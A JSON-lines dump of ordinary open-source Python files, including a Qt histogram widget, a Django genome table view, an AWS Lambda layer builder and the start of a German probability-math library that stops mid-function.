+{"text": "from functools import wraps\n\nfrom qtpy import QtWidgets\n\nfrom .histogram import HistogramWidget, HistogramModel, HistogramController\nfrom .pdsspect_image_set import PDSSpectImageSetViewBase\n\n\nclass BasicHistogramModel(HistogramModel):\n \"\"\"Model for the hhistograms in the Basic Widgets\n\n Attributes\n ---------\n connected_models : :obj:`list`\n Other :class:`BasicHistogramModel` for other histograms\n \"\"\"\n\n def __init__(self, *args, **kwargs):\n super(BasicHistogramModel, self).__init__(*args, **kwargs)\n self.connected_models = []\n\n def check_model_type(func):\n @wraps(func)\n def wrapper(self, model):\n if not isinstance(model, BasicHistogramModel):\n raise ValueError(\"Model must be a BasicHistogramModel object\")\n return func(self, model)\n return wrapper\n\n @check_model_type\n def connect_model(self, model):\n \"\"\"Connect another model to this model\n\n Attributes\n ----------\n model : :class:`BasicHistogramModel`\n Connect the model to current model\n\n Raises\n ------\n ValueError\n When :attr:`model` is not :class:`BasicHistogramModel`\n \"\"\"\n\n if model not in self.connected_models:\n self.connected_models.append(model)\n model.cuts = self.cuts\n\n @check_model_type\n def disconnect_model(self, model):\n \"\"\"Disconnect another model from this model\n\n Attributes\n ----------\n model : :class:`BasicHistogramModel`\n Disconnect the model from current model\n\n Raises\n ------\n ValueError\n When :attr:`model` is not :class:`BasicHistogramModel`\n \"\"\"\n\n if model in self.connected_models:\n self.connected_models.remove(model)\n\n def disconnect_from_all_models(self):\n \"\"\"Disconnect all models from this model\"\"\"\n self.connected_models = []\n\n\nclass BasicHistogramController(HistogramController):\n \"\"\"Controller for histogram views\n\n Parameters\n ----------\n model : :class:`BasicHistogramModel`\n histogram model\n view : :class:`object`\n View with :class:`BasicHistogramModel` as its model\n\n Attributes\n ----------\n model : :class:`BasicHistogramModel`\n histogram model\n view : :class:`object`\n View with :class:`BasicHistogramModel` as its model\n \"\"\"\n\n def set_cut_low(self, cut_low):\n \"\"\"Set the low cut level to a new value\n\n Parameters\n ----------\n cut_low : :obj:`float`\n New low cut value\n \"\"\"\n\n super(BasicHistogramController, self).set_cut_low(cut_low)\n for model in self.model.connected_models:\n model.cut_low = cut_low\n\n def set_cut_high(self, cut_high):\n \"\"\"Set the high cut level to a new value\n\n Parameters\n ----------\n cut_high : :obj:`float`\n New high cut value\n \"\"\"\n\n super(BasicHistogramController, self).set_cut_high(cut_high)\n for model in self.model.connected_models:\n model.cut_high = cut_high\n\n def set_cuts(self, cut_low, cut_high):\n \"\"\"Set both the low and high cut levels\n\n Parameters\n ----------\n cut_low : :obj:`float`\n New low cut value\n cut_high : :obj:`float`\n New high cut value\n \"\"\"\n\n super(BasicHistogramController, self).set_cuts(cut_low, cut_high)\n for model in self.model.connected_models:\n model.cuts = cut_low, cut_high\n\n def restore(self):\n \"\"\"Restore the histogram\"\"\"\n super(BasicHistogramController, self).restore()\n for model in self.model.connected_models:\n model.restore()\n\n\nclass BasicHistogramWidget(HistogramWidget):\n \"\"\":class:`~.pdsspect.histogram.HistogramWidget` in a different layout\"\"\"\n\n def __init__(self, *args, **kwargs):\n super(BasicHistogramWidget, self).__init__(*args, **kwargs)\n self.controller = BasicHistogramController(self.model, self)\n self.histogram.controller = BasicHistogramController(\n self.model, self.histogram\n )\n\n def _create_layout(self):\n layout = QtWidgets.QGridLayout()\n layout.addWidget(self._cut_low_label, 0, 1)\n layout.addWidget(self._cut_low_box, 0, 2)\n layout.addWidget(self._cut_high_label, 1, 1)\n layout.addWidget(self._cut_high_box, 1, 2)\n layout.addWidget(self._bins_label, 2, 1)\n layout.addWidget(self._bins_box, 2, 2)\n layout.addWidget(self.histogram, 0, 0, 3, 1)\n\n return layout\n\n\nclass BasicController(object):\n \"\"\"Controller for :class:`Basic` window\n\n Parameters\n ----------\n image_set : :class:`~.pdsspect_image_set.PDSSpectImageSet`\n pdsspect model\n view : :class:`Basic`\n View to control\n\n Attributes\n ----------\n image_set : :class:`~.pdsspect_image_set.PDSSpectImageSet`\n pdsspect model\n view : :class:`Basic`\n View to control\n \"\"\"\n\n def __init__(self, image_set, view):\n self.image_set = image_set\n self.view = view\n\n def change_current_image_index(self, new_index):\n \"\"\"Change the current image index to a new index\n\n Parameters\n ----------\n new_index : :obj:`int`\n The new index for\n :class:`~.pdsspect_image_set.PDSSpectImageSetViewBase.images` to\n determine the current image\n \"\"\"\n\n self.image_set.current_image_index = new_index\n\n\nclass BasicWidget(QtWidgets.QWidget):\n \"\"\"Widget to hold each basic window\n\n Parameters\n ----------\n image_set : :class:`~.pdsspect_image_set.PDSSpectImageSet`\n pdsspect model\n view_canvas : :class:`~.pds_image_view_canvas.PDSImageViewCanvas`\n view canvas\n\n Attributes\n ----------\n image_set : :class:`~.pdsspect_image_set.PDSSpectImageSet`\n pdsspect model\n basics : :obj:`list` of :class:`Basic`\n :class:`Basic` in the widget\n \"\"\"\n\n def __init__(self, image_set, view_canvas):\n super(BasicWidget, self).__init__()\n self.image_set = image_set\n self.basics = []\n self.main_layout = QtWidgets.QHBoxLayout()\n self.setLayout(self.main_layout)\n self.setWindowTitle('Basic')\n self.add_basic(image_set, view_canvas)\n\n def add_basic(self, image_set, view_canvas):\n \"\"\"Add a :class:`Basic` to the widget\n\n Parameters\n ----------\n image_set : :class:`~.pdsspect_image_set.PDSSpectImageSet`\n pdsspect model\n view_canvas : :class:`~.pds_image_view_canvas.PDSImageViewCanvas`\n view canvas\n \"\"\"\n\n basic = Basic(image_set, view_canvas, self)\n self.basics.append(basic)\n self.main_layout.addWidget(basic)\n self.connect_model(basic)\n\n def connect_model(self, basic):\n \"\"\"Connect the models of other basic windows to the given window\n\n The models are connected when they have the same current image\n\n Parameters\n ----------\n basic : :class:`Basic`\n Basic window connect/disconnect its histogram model to others\n \"\"\"\n\n other_basics = list(self.basics)\n other_basics.remove(basic)\n for other_basic in other_basics:\n image = other_basic.image_set.current_image\n if image == basic.image_set.current_image:\n other_basic.histogram.connect_model(basic.histogram)\n basic.histogram.connect_model(other_basic.histogram)\n else:\n other_basic.histogram.disconnect_model(basic.histogram)\n basic.histogram.disconnect_model(other_basic.histogram)\n\n\nclass Basic(QtWidgets.QWidget, PDSSpectImageSetViewBase):\n \"\"\"Window to apply cut levels and choose the current image\n\n Parameters\n ----------\n image_set : :class:`~.pdsspect_image_set.PDSSpectImageSet`\n pdsspect model\n view_canvas : :class:`~.pds_image_view_canvas.PDSImageViewCanvas`\n Canvas to view the image\n\n Attributes\n ----------\n image_set : :class:`~.pdsspect_image_set.PDSSpectImageSet`\n pdsspect model\n view_canvas : :class:`~.pds_image_view_canvas.PDSImageViewCanvas`\n Canvas to view the image\n controller : :class:`BasicController`\n Controller for view\n image_menu : :class:`QtWidgets.QComboBox `\n Drop down menu to pick the current image\n histogram : :class:`~.histogram.HistogramModel`\n Model for the :attr:`histogram_widget`\n histogram_widget : :class:`BasicHistogramWidget`\n The histogram widget to adjust the cut levels\n layout : :class:`QtWidgets.QVBoxLayout `\n The main layout\n \"\"\"\n\n def __init__(self, image_set, view_canvas, basic_widget):\n super(Basic, self).__init__(basic_widget)\n\n self.image_set = image_set\n self.image_set.register(self)\n self.basic_widget = basic_widget\n self.controller = BasicController(image_set, self)\n self.view_canvas = view_canvas\n\n self.image_menu = QtWidgets.QComboBox()\n for image in self.image_set.images:\n self.image_menu.addItem(image.image_name)\n self.image_menu.setCurrentIndex(image_set.current_image_index)\n self.image_menu.currentIndexChanged.connect(self.change_image)\n self.histogram = BasicHistogramModel(self.view_canvas, bins=100)\n self.histogram_widget = BasicHistogramWidget(self.histogram, self)\n\n self.layout = QtWidgets.QVBoxLayout()\n self.layout.addWidget(self.image_menu)\n self.layout.addWidget(self.histogram_widget)\n\n self.setLayout(self.layout)\n self.histogram.set_data()\n\n def change_image(self, new_index):\n \"\"\"Change the image when new image selected in :attr:`image_menu`\n\n Parameters\n ----------\n new_index : :obj:`int`\n The new index to determine the current image\n \"\"\"\n\n self.image_set.current_image.cuts = self.histogram.cuts\n self.controller.change_current_image_index(new_index)\n self.basic_widget.connect_model(self)\n\n def set_image(self):\n \"\"\"When the image is set, adjust the histogram\"\"\"\n self.histogram.set_data()\n self.histogram.restore()\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"}
+{"text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Fri Aug 27 15:16:34 2021\n\n@author: ag\n\"\"\"\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.patches import Ellipse\nimport matplotlib.transforms as transforms\nimport re\n\ndef confidence_ellipse(x, y, n_std=1.0, weights=None, ax=None, facecolor='none', **kwargs):\n \"\"\"\n Create a plot of the covariance confidence ellipse of *x* and *y*.\n\n Parameters\n ----------\n x, y : array-like, shape (n, )\n Input data.\n\n ax : matplotlib.axes.Axes\n The axes object to draw the ellipse into.\n\n n_std : float\n The number of standard deviations to determine the ellipse's radiuses.\n\n **kwargs\n Forwarded to `~matplotlib.patches.Ellipse`\n\n Returns\n -------\n matplotlib.patches.Ellipse\n \"\"\"\n if x.size != y.size:\n raise ValueError(\"x and y must be the same size\")\n\n if not ax:\n ax = plt.gca()\n\n if 'label' in kwargs:\n kwargs['label'] = re.sub(r'SSP(\\d)(\\d)(\\d)',r'SSP\\1-\\2.\\3', kwargs['label'])\n\n if weights is None:\n cov = np.cov(x, y)\n mean_x = np.mean(x)\n mean_y = np.mean(y)\n else:\n cov = np.cov(x, y, aweights = weights)\n sumw = np.sum(weights)\n mean_x = np.sum(x*weights)/sumw\n mean_y = np.sum(y*weights)/sumw\n\n pearson = cov[0, 1]/np.sqrt(cov[0, 0] * cov[1, 1])\n # Using a special case to obtain the eigenvalues of this\n # two-dimensionl dataset.\n ell_radius_x = np.sqrt(1 + pearson)\n ell_radius_y = np.sqrt(1 - pearson)\n ellipse = Ellipse((0, 0), width=ell_radius_x * 2, height=ell_radius_y * 2,\n facecolor=f'{facecolor}22', edgecolor=f'{facecolor}', **kwargs)\n\n # Calculating the stdandard deviation of x from\n # the squareroot of the variance and multiplying\n # with the given number of standard deviations.\n scale_x = np.sqrt(cov[0, 0]) * n_std\n\n # calculating the stdandard deviation of y ...\n scale_y = np.sqrt(cov[1, 1]) * n_std\n\n transf = transforms.Affine2D() \\\n .rotate_deg(45) \\\n .scale(scale_x, scale_y) \\\n .translate(mean_x, mean_y)\n\n ellipse.set_transform(transf + ax.transData)\n return ax.add_patch(ellipse)\n\n\n\n#FROM https://stackoverflow.com/questions/21844024/weighted-percentile-using-numpy\ndef weighted_quantile(values, quantiles, sample_weight=None,\n values_sorted=False, old_style=False):\n \"\"\" Very close to numpy.percentile, but supports weights.\n NOTE: quantiles should be in [0, 1]!\n :param values: numpy.array with data\n :param quantiles: array-like with many quantiles needed\n :param sample_weight: array-like of the same length as `array`\n :param values_sorted: bool, if True, then will avoid sorting of\n initial array\n :param old_style: if True, will correct output to be consistent\n with numpy.percentile.\n :return: numpy.array with computed quantiles.\n \"\"\"\n values = np.array(values)\n quantiles = np.array(quantiles)\n if sample_weight is None:\n sample_weight = np.ones(len(values))\n sample_weight = np.array(sample_weight)\n assert np.all(quantiles >= 0) and np.all(quantiles <= 1), \\\n 'quantiles should be in [0, 1]'\n\n if not values_sorted:\n sorter = np.argsort(values)\n values = values[sorter]\n sample_weight = sample_weight[sorter]\n\n weighted_quantiles = np.cumsum(sample_weight) - 0.5 * sample_weight\n if old_style:\n # To be convenient with numpy.percentile\n weighted_quantiles -= weighted_quantiles[0]\n weighted_quantiles /= weighted_quantiles[-1]\n else:\n weighted_quantiles /= np.sum(sample_weight)\n return np.interp(quantiles, weighted_quantiles, values)\n\n\n", "source": "cmip6moap/project01", "license": "CC-BY-4.0"}
+{"text": "from Utils.Logging import LoggingMixin\nfrom spade.agent import Agent\nfrom spade.behaviour import CyclicBehaviour\nfrom spade.message import Message\n\n\nclass SystemAgent(Agent, LoggingMixin):\n class MessageReceiverBehavior(CyclicBehaviour):\n def __init__(self, outer_ref):\n super().__init__()\n self.__outer_ref: SystemAgent = outer_ref\n\n async def on_start(self):\n self.__outer_ref.log(f\"{self.__outer_ref.jid} starting the message receiver. . .\", \"info\")\n\n async def run(self):\n self.__outer_ref.log(f\"{self.__outer_ref.jid} checking for message. . .\", \"info\")\n message = await self.receive(self.__outer_ref.message_checking_interval)\n if message:\n self.__outer_ref.log(f\"{self.__outer_ref.jid} processing message. . .\", \"info\")\n await self.__outer_ref._process_message(message)\n self.__outer_ref.log(f\"{self.__outer_ref.jid} done processing message. . .\", \"info\")\n\n async def on_end(self):\n self.__outer_ref.log(f\"{self.__outer_ref.jid} ending the message receiver. . .\", \"info\")\n\n async def _process_message(self, message: Message):\n pass\n\n @property\n def message_checking_interval(self):\n return self.__message_checking_interval\n\n def __init__(self, jid: str, password: str, executor, verify_security: bool = False,\n message_checking_interval: int = 5):\n super().__init__(jid, password, verify_security)\n if executor:\n self.loop.set_default_executor(executor)\n self.__message_checking_interval = message_checking_interval\n\n async def setup(self):\n self.log(f\"{self.jid} agent starting . . .\", \"info\")\n if self.message_checking_interval > -1:\n msg_behavior = self.MessageReceiverBehavior(self)\n self.add_behaviour(msg_behavior)\n else:\n self.log(f\"{self.jid} skipping message checking . . .\", \"info\")\n\n def log(self, message, level):\n try:\n log_method = getattr(self.logger, level)\n log_method(message)\n except AttributeError:\n raise ValueError(f\"{level} is not a valid logging level\")\n", "source": "robertkarol/ReDe-Multiagent-Face-Recognition-System", "license": "MIT"}
+{"text": "# Copyright 2021 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"Global context for knowledge bank operations.\"\"\"\n\nimport threading\nfrom typing import Text\n\nfrom research.carls import dynamic_embedding_config_pb2 as de_config_pb2\n\n# A map from variable name to DynamicEmbeddingConfig.\n_knowledge_bank_collections = {}\n_lock = threading.Lock()\n\n\ndef add_to_collection(name: Text, config: de_config_pb2.DynamicEmbeddingConfig):\n \"\"\"Adds given (name, config) pair to global collectionss.\n\n Args:\n name: A string denoting the variable name.\n config: An instance of DynamicEmbeddingConfig.\n\n Raises:\n TypeError: Invalid input.\n ValueError: Name is empty, or a different config is added for an existing\n variable.\n \"\"\"\n if not name:\n raise ValueError(\"Empty name.\")\n if not isinstance(config, de_config_pb2.DynamicEmbeddingConfig):\n raise TypeError(\"Config is not an instance of DynamicEmbeddingConfig.\")\n if name in _knowledge_bank_collections.keys():\n existing_config = _knowledge_bank_collections[name]\n if config.SerializeToString() != existing_config.SerializeToString():\n raise ValueError(\n \"Adding a new config for the same var name is not allowed, existing:\"\n \" %r, new: %r.\" % (existing_config, config))\n\n with _lock:\n _knowledge_bank_collections[name] = de_config_pb2.DynamicEmbeddingConfig()\n _knowledge_bank_collections[name].CopyFrom(config)\n\n\ndef get_all_collection():\n \"\"\"Returns a list of all (name, config) pairs.\"\"\"\n with _lock:\n return [(key, value) for key, value in _knowledge_bank_collections.items()]\n\n\ndef clear_all_collection():\n \"\"\"Clears existing all (name, config) pairs.\"\"\"\n with _lock:\n _knowledge_bank_collections.clear()\n", "source": "srihari-humbarwadi/neural-structured-learning", "license": "Apache-2.0"}
+{"text": "from .cog import FeedCog\n\ndef init(bot):\n bot.add_cog(FeedCog(bot))\n\nfrom . import pixiv, twitter\n", "source": "skielred/ArtCompanion", "license": "MIT"}
+{"text": "from django_datatables_view.base_datatable_view import BaseDatatableView\nfrom django.db.models import Q\nfrom django.contrib.postgres.aggregates.general import ArrayAgg\n\nfrom website.models import Genome\n\nclass GenomeTableAjax(BaseDatatableView):\n # The model we're going to show\n model = Genome\n\n # set max limit of records returned, this is used to protect our site if someone tries to attack our site\n # and make it return huge amount of data\n max_display_length = 2000\n\n def render_column(self, row: Genome, column: str):\n if column == 'genome_tags':\n html = [F'{tag}' for tag in row.genome_tags if tag]\n return ' '.join(html)\n if column == 'organism_tags':\n html = [F'{tag}' for tag in row.organism_tags if tag]\n return ' '.join(html)\n if column == 'representative':\n return 'True' if row.is_representative else 'False'\n if column == 'literature_references':\n return \" \".join(row.literature_references)\n elif column.startswith(\"env_\"):\n return \" \".join(row.__getattribute__(column))\n else:\n return super(GenomeTableAjax, self).render_column(row, column)\n\n def get_initial_queryset(self):\n if not self.model:\n raise NotImplementedError(\"Need to provide a model or implement get_initial_queryset!\")\n qs = self.model.objects.annotate(\n genome_tags=ArrayAgg('tags__tag', distinct=True),\n organism_tags=ArrayAgg('organism__tags__tag', distinct=True)\n ) \\\n .all() \\\n .prefetch_related('organism') \\\n .prefetch_related('organism__taxid')\n return qs\n\n def filter_queryset(self, qs):\n \"\"\" If search['value'] is provided then filter all searchable columns using filter_method (istartswith\n by default).\n\n Automatic filtering only works for Datatables 1.10+. For older versions override this method\n \"\"\"\n\n columns = self._columns\n if not self.pre_camel_case_notation:\n # get global search value\n search = self._querydict.get('search[value]', None)\n q = Q()\n filter_method = self.get_filter_method()\n for col_no, col in enumerate(self.columns_data):\n # apply global search to all searchable columns\n if search and col['searchable']:\n # cannot search binary fields or tags\n if not columns[col_no] in ['representative', 'contaminated', 'organism.restricted']:\n q |= Q(**{F\"{columns[col_no].replace('.', '__')}__{filter_method}\": search})\n\n # column specific filter\n if col['search.value']:\n colname = col['name']\n\n ## CUSTOM FILTERS\n if colname == 'representative':\n if col['search.value'] == \"True\":\n qs = qs.filter(representative__isnull=False)\n else:\n qs = qs.filter(representative__isnull=True)\n elif colname == \"genome_tags\":\n qs = qs.filter(tags__tag__in=col['search.value'].split(\"|\"))\n elif colname == \"organism_tags\":\n qs = qs.filter(organism__tags__tag__in=col['search.value'].split(\"|\"))\n elif colname.endswith(\"_date\"):\n if col['search.value'].startswith(\"-yadcf_delim\"):\n range = [\"0001-01-01\", col['search.value'][-10:]]\n elif col['search.value'].endswith(\"yadcf_delim-\"):\n range = [col['search.value'][:10], \"9000-12-30\"]\n else:\n range = [col['search.value'][:10], col['search.value'][-10:]]\n qs = qs.filter(**{'{0}__{1}'.format(columns[col_no].replace('.', '__'), 'range'): range})\n\n else:\n # DEFAULT BEHAVIOUR\n qs = qs.filter(**{\n '{0}__{1}'.format(columns[col_no].replace('.', '__'), filter_method): col['search.value']})\n qs = qs.filter(q)\n\n return qs\n", "source": "blumeria/opengenomebrowser", "license": "MIT"}
+{"text": "import os\nimport os.path as op\nimport shutil\nimport sys\nfrom datetime import datetime\nfrom tempfile import TemporaryDirectory\n\nimport boto3\nimport sh\nfrom termcolor import cprint\n\nfrom .cloudformation import get_cf_resources\nfrom .config import Config\n\n\ndef _docker(*args):\n cprint(\"$\", \"red\", end=\" \")\n cprint(\"docker \" + \" \".join(args), \"green\")\n p = None\n try:\n p = sh.docker(*args, _out=sys.stdout, _err=sys.stderr, _bg=True)\n p.wait()\n except KeyboardInterrupt:\n if p is not None:\n p.signal(2)\n sys.exit(2)\n\n\ndef _target_zip_basename(layername: str, ver: str) -> str:\n ts = round(datetime.utcnow().timestamp())\n return f\"{layername}_{ts}_{ver}.zip\"\n\n\ndef _build_cmd(zipbasename, cfg: Config):\n chains = []\n\n # ==========================================\n # COPY files on /volumepoint/other_resources\n # ==========================================\n chains.extend([\"(test -d /other_resources && cp -RT /other_resources . || echo)\"])\n\n # ===========\n # PIP INSTALL\n # ===========\n chains.extend(\n [\n \"mkdir -p python\",\n \"pip3 install --no-cache-dir -r /volumepoint/requirements.txt -t python\",\n \"cd python\",\n ]\n )\n\n # ====================================\n # REMOVE UNNECESSARY SNIPPETS OR FILES\n # ====================================\n if cfg.shrink.plotly.remove_jupyterlab_plotly:\n chains.append(\"(test -d jupyterlab_plotly && rm -rf jupyterlab_plotly || echo)\")\n if cfg.shrink.plotly.remove_data_docs:\n chains.append(\n r'''(test -d plotly && (find plotly/validators -name '*.py' | xargs sed --in-place -z -E -e 's/kwargs\\.pop\\([[:space:]]*\"data_docs\",[[:space:]]*\"\"\".*\"\"\",?[[:space:]]*\\)/kwargs.pop(\"data_docs\", \"\")/') || echo)''' # noqa\n )\n if cfg.shrink.remove_dist_info:\n chains.append(\"(find . -name '*.dist-info' | xargs rm -rf)\")\n chains.append(\"(find . -name '__pycache__' | xargs rm -rf)\")\n\n # =====\n # PATCH\n # =====\n if cfg.shrink.compile and cfg.shrink.compile_optimize_level >= 2:\n # Compile with optimize_level=2 remove docstrings on python code; and __doc__ attributes gets to be None,\n # Affected by this behavior some codes raises errors.\n chains.append(\n r\"\"\"(test -d numpy && (find numpy -name '*.py' | xargs sed --in-place -e 's/dispatcher\\.__doc__/\"\"/g') || echo)\"\"\" # noqa\n )\n\n # =======\n # COMPILE\n # =======\n if cfg.shrink.compile:\n chains.extend(\n [\n f\"\"\"python -c 'import compileall; compileall.compile_dir(\".\", maxlevels=20, optimize={cfg.shrink.compile_optimize_level}, force=True, legacy=True, quiet=2)'\"\"\", # noqa\n \"(find . -name '*.py' | xargs rm -rf)\",\n ]\n )\n\n # ===\n # ZIP\n # ===\n chains.extend(\n [\n \"cd ..\",\n \"mkdir -p /volumepoint/dist\",\n f\"zip -r9 --quiet /volumepoint/dist/{zipbasename} .\",\n ]\n )\n\n return \" && \".join(chains)\n\n\ndef _make_package(zipbasename: str, ver: str, cfg: Config):\n \"\"\"Run `pip install' in the docker container and zip artifacts.\"\"\"\n cprint(f\"Start to make {op.join('dist', zipbasename)}\", \"green\")\n if op.exists(op.join(\"dist\", zipbasename)):\n print(f\"SKIP: {op.join('dist', zipbasename)} already exists\")\n return\n with TemporaryDirectory() as tmpdir:\n curdir = op.abspath(os.curdir)\n # In order to follow symbolic links, copy files on ./other_resources to tmpdir\n os.makedirs(op.join(curdir, \"other_resources\"), exist_ok=True)\n other_resources_copy_dir = op.join(tmpdir, \"other_resources_copy_dir\")\n shutil.copytree(\n op.join(curdir, \"other_resources\"), other_resources_copy_dir, symlinks=False\n )\n _docker(\n \"run\",\n \"--rm\",\n \"-v\",\n f\"{curdir}:/volumepoint\",\n \"-v\",\n f\"{other_resources_copy_dir}:/other_resources\",\n f\"lambci/lambda:build-python{ver}\",\n \"sh\",\n \"-c\",\n _build_cmd(zipbasename, cfg),\n )\n print(f\"DONE: {op.join('dist', zipbasename)} created\")\n\n\ndef _full_layername(layername: str, ver: str):\n suffix = \"-py\" + ver.replace(\".\", \"\")\n return layername + suffix\n\n\ndef _upload_package(zipbasename: str, ver: str, full_layername: str, description: str):\n cf_resources = get_cf_resources()\n s3 = boto3.resource(\"s3\")\n cprint(f\"Start to upload {op.join('dist', zipbasename)}\", \"green\")\n\n bucketname = cf_resources[\"DeploymentBucketName\"]\n s3.Bucket(bucketname).upload_file(op.join(\"dist\", zipbasename), zipbasename)\n print(f\"Put the package file: s3://{bucketname}/{zipbasename}\")\n\n lambdafunc = boto3.client(\"lambda\")\n res = lambdafunc.publish_layer_version(\n LayerName=full_layername,\n Description=description,\n Content={\n \"S3Bucket\": bucketname,\n \"S3Key\": zipbasename,\n },\n CompatibleRuntimes=[f\"python{ver}\"],\n )\n print(f\"Publish the custom layer: {res['LayerVersionArn']}\")\n\n print(f\"DONE: {op.join('dist', zipbasename)} created\")\n\n\ndef deploy_package(cfg: Config, upload_also=True):\n \"\"\"Run make_package & upload_package according in accordance with config.\"\"\"\n for ver in cfg.pyversions:\n # ex. NAME_MD5SUM_py3x.zip\n zipbasename = _target_zip_basename(cfg.layername, ver)\n # ex. NAME-py3x\n fullname = _full_layername(cfg.layername, ver)\n _make_package(zipbasename, ver, cfg)\n if upload_also:\n _upload_package(zipbasename, ver, fullname, cfg.description)\n", "source": "hayashiya18/lampip", "license": "MIT"}
+{"text": "import itertools\n\n\ndef identifier_path(it):\n return '__' + '_'.join(\n it.__module__.split('.') + [it.__qualname__]\n )\n\n\n# https://docs.python.org/3/library/itertools.html\ndef pairwise(iterable):\n 's -> (s0,s1), (s1,s2), (s2, s3), ...'\n a, b = itertools.tee(iterable)\n next(b, None)\n return zip(a, b)\n\n\n# https://docs.python.org/3/library/itertools.html\ndef grouper(iterable, n, fillvalue=None):\n \"Collect data into fixed-length chunks or blocks\"\n # grouper('ABCDEFG', 3, 'x') --> ABC DEF Gxx\"\n args = [iter(iterable)] * n\n return itertools.zip_longest(*args, fillvalue=fillvalue)\n", "source": "fochoao/cpython", "license": "bzip2-1.0.6"}
+{"text": "\ufeff#!/usr/bin/python\n# -*- coding utf-8 -*-\n\n \n\t\t\t\t\t\t \n# \n# zufall - Funktionen \n# \n \n#\n# This file is part of zufall\n#\n#\n# Copyright (c) 2019 Holger B\u00f6ttcher hbomat@posteo.de\n#\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\")\n# you may not use this file except in compliance with the License\n# You may obtain a copy of the License at\n# \n# http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n# \n\n\n\n#\n# Inhalt:\n#\n# abs, sqrt, ... - Mathematische Funktionen\n# is_zahl - Test auf Zahl\n# mit_param - Test auf Parameter\n# permutationen, perm - Permutationen\n# kombinationen, komb - Kombinationen\n# variationen - Variationen\n# zuf_zahl - Erzeugung von Zufallszahlen\n# anzahl - Anzahl des Vorkommens eines Elementes in \n# einer DatenReihe / Liste\n# anzahl_treffer - Anzahl Treffer \n# summe - Summe der Elemente einer Liste / DatenReihe \n# ja_nein - Bewertung logischer Ausdr\u00fccke\n# auswahlen - k-Auswahlen aus n Objekten\n# gesetze - Einige Gesetze der Wahrscheinlichkeitsrechnung\n# stochastisch - Test auf stochastischen Vektor / Matrix\n# l\u00f6se - Solver f\u00fcr Gleichungen / Ungleichungen\n# einfach - Vereinfachung von Vektoren / Matrizen\n# ja, nein, ... - Hilfsgr\u00f6\u00dfen f\u00fcr True/False\n# Hilfe - Hilfefunktion\n\t\n\t\n\nimport importlib\n\nfrom itertools import (product, permutations, combinations, \n combinations_with_replacement)\nfrom Lib.random import randint, sample\n\nfrom IPython.display import display, Math\n\nfrom sympy import (Symbol, nsimplify, simplify, solve, radsimp, trigsimp, \n signsimp)\nfrom sympy.core.compatibility import iterable\nfrom sympy import (Integer, Rational, Float, Add, Mul, Pow, Mod, \n N, factorial, binomial as Binomial)\nfrom sympy.core.numbers import Zero, One, NegativeOne, Half, E\nfrom sympy.core.sympify import sympify\nfrom sympy.core.containers import Tuple\nfrom sympy import (\n Abs, sqrt as Sqrt, exp as Exp, log as Log, \n sin as Sin, cos as Cos, tan as Tan, cot as Cot,\n\tasin as Asin, acos as Acos, atan as Atan, acot as Acot,\n\tsinh as Sinh, cosh as Cosh, tanh as Tanh, \n\tasinh as Asinh, acosh as Acosh, atanh as Atanh,\n\tre as Re, im as Im, conjugate as Conjugate)\nfrom sympy.functions.elementary.miscellaneous import Max, Min\n\t \nfrom sympy.printing.latex import latex\nfrom sympy.matrices import Matrix as SympyMatrix\nfrom sympy import solveset, S, pi\n\nfrom zufall.lib.objekte.basis import ZufallsObjekt\nfrom zufall.lib.objekte.ausnahmen import ZufallError\n\nimport zufall\n\n\t\t\n\t\t\n# ---------------------------\n# Umrechnung Bogenma\u00df in Grad\n# ---------------------------\n\ndef deg(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nUmrechnung Bogen- in Gradma\u00df - Funktion\\n\")\n print(\"Aufruf deg( winkel )\\n\")\n print(\" winkel Winkel in Bogenma\u00df\\n\")\n print(\"Synonymer Bezeichner grad\\n\")\t\n print(\"R\u00fcckgabe Winkel in Grad\\n\")\t\t\n print(\"Zusatz d=n Dezimaldarstellung\")\n print(\" n - Anzahl der Nachkommastellen\\n\")\n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\")\n return\t\t\n wert = number * 180 / pi\n d = kwargs.get('d')\n if d:\t\n return wert_ausgabe(wert, d)\n return wert\n\t\ngrad = deg\t\n\n\n# ---------------------------\n# Umrechnung Grad in Bogenma\u00df\n# ---------------------------\n\ndef rad(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nUmrechnung Grad- in Bogenma\u00df - Funktion\\n\")\n print(\"Aufruf rad( winkel )\\n\")\n print(\" winkel Winkel in Grad\\n\")\n print(\"Synonymer Bezeichner bog\\n\")\t\t\n print(\"R\u00fcckgabe Winkel in Bogenma\u00df\\n\")\t\t\n print(\"Zusatz d=n Dezimaldarstellung\")\n print(\" n - Anzahl der Nachkommastellen\\n\")\n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl aus [-1, 1] angeben\")\n return\t\t\n wert = number / 180 * pi\n d = kwargs.get('d')\n if d:\t\n return wert_ausgabe(wert, d)\n return nsimplify(wert, [pi])\n\nbog = rad\n\n\n# -----------------------------------\n# Allgemeine mathematische Funktionen\n# -----------------------------------\n\ndef abs(*number, **kwargs): \n if kwargs.get(\"h\"):\n print(\"\\nBetrags - Funktion\\n\")\n print(\"Aufruf abs( x )\\n\")\n print(\" x Zahl\\n\")\n print(\"Zusatz d=1 Dezimaldarstellung\\n\") \n return\n if len(number) != 1:\n print(\"agla: eine Zahl angeben\") \n return\t\t\n number = number[0]\n if not is_zahl(number):\n print(\"agla: eine Zahl angeben\") \n return\t\t\n wert = Abs(number)\n if kwargs.get(\"d\"):\n return N(wert)\n return wert\n\t\ndef 